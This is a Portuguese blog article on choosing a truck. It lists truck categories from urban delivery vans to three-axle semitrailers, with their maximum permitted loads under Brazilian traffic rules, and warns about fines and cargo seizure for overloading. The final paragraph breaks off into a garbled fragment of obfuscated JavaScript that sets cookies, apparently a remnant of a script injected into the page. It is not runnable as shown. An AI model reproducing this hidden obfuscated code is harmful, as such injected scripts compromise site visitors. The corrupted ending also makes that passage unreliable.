Como escolher o caminhão adequado?
Para quem já está no ramo de caminhoneiro há muito tempo, é natural que saiba quais são os tipos de caminhões ideais para cada carga diferente e cada tipo de mercadoria. Contudo, para quem está há pouco tempo nesse ramo, ou mesmo está começando agora, essa informação pode ser um fator importante para o sucesso na profissão.
Entender que para cada tipo de carga é indicado um tipo de caminhão e carroceria específica é essencial para adquirir o veículo adequado e viajar pelas estradas de forma tranquila. A partir desse conhecimento o autônomo ou o dono de uma de frota de caminhões pode evitar desperdícios de espaço e até mesmo a sobrecarga do caminhão.
Tipos de caminhões e suas capacidades de carga
Como já e de conhecimento da maioria dos leitores, há vários tipos de caminhões, com variados pesos e capacidades de cargas permitidas. Dessa forma, a fim de evitar a danificação das estradas e também de acidentes no trânsito, o Código de Trânsito Brasileiro criou algumas normas e peso máximo que pode ser carregado por cada tipo de caminhão.
- Veículo Urbano de Carga: Também conhecidos como HRs, são aqueles caminhões menores e apropriados para áreas urbanas. A capacidade máxima que deve ser carregada é de 3 toneladas;
- Caminhão semi-pesado: Os caminhões semi-pesados, também chamados de tocos, devem levar até 6 toneladas;
- Caminhão pesado: Os caminhões pesados, conhecidos também como trucks, devem carregar, no máximo, um peso de 14 toneladas;
Esses três primeiros tipos de caminhões, devido às suas capacidades máximas de carga e seu comprimento, são mais indicados para serviços dentro das cidades, como entrega de alimentos em supermercados, escolas, além de carretos de mudanças de cidades próximas, dentre outros.
- Caminhão extra-pesado: Conhecidos também por cavalos mecânicos, esse tipo de caminhão não tem uma carga estipulada, dependendo do semi-reboque;
- Cavalo mecânico trucado: A carga máxima estipulada para esse caminhão, a exemplo do item anterior, também depende do semi-reboque;
- Carreta de 2 eixos: Possui uma carga máxima estipulada de 33 toneladas;
- Carreta de 3 eixos: Possui uma carga máxima estipulada de 41,5 toneladas;
- Carreta cavalo trucado: Possui uma carga máximo estipulada de 45 toneladas;
É muito importante seguir as recomendações relacionadas às cargas máximas previamente estipuladas. Além de poderem render multas para o condutor e para o dono da frota, uma infração nesse sentido poderia gerar uma apreensão da carga, onde a burocracia para sua retirada pode ser bastante complicado. A apreensão não ocorre em casos de cargas vivas ou rapidamente perecíveis. ,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]
Deixe uma resposta